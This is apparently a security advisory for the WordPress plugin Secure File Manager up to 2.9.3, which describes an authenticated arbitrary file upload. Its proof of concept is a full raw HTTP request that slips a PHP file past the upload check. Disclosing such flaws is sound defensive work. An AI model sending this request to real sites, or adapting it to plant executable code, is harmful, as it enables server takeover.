Secure File Manager <= 2.9.3 – Admin+ Arbitrary File Upload

Description

Even though the plugin does not allow malicious files such as PHP to be uploaded via the UI, tampering with the upload request bypasses such check

Proof of Concept

As admin (or any other user allowed to use the plugin), upload a TXT file, capture the request and change the upload[] POST parameter to add a PHP file

POST /wp-content/plugins/secure-file-manager/vendor/elfinder/php/connector.minimal.php HTTP/1.1
Content-Length: 712
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySjTPVL1Q2jTfxyAD
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: [admin+, or user allowed to use plugin]
Connection: close

------WebKitFormBoundarySjTPVL1Q2jTfxyAD
Content-Disposition: form-data; name="reqid"

17b3e92f81d3d3
------WebKitFormBoundarySjTPVL1Q2jTfxyAD
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundarySjTPVL1Q2jTfxyAD
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundarySjTPVL1Q2jTfxyAD
Content-Disposition: form-data; name="_wpnonce"

15c53f71f7
------WebKitFormBoundarySjTPVL1Q2jTfxyAD
Content-Disposition: form-data; name="upload[]"; filename="233.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarySjTPVL1Q2jTfxyAD
Content-Disposition: form-data; name="mtime[]"

1616479886
------WebKitFormBoundarySjTPVL1Q2jTfxyAD--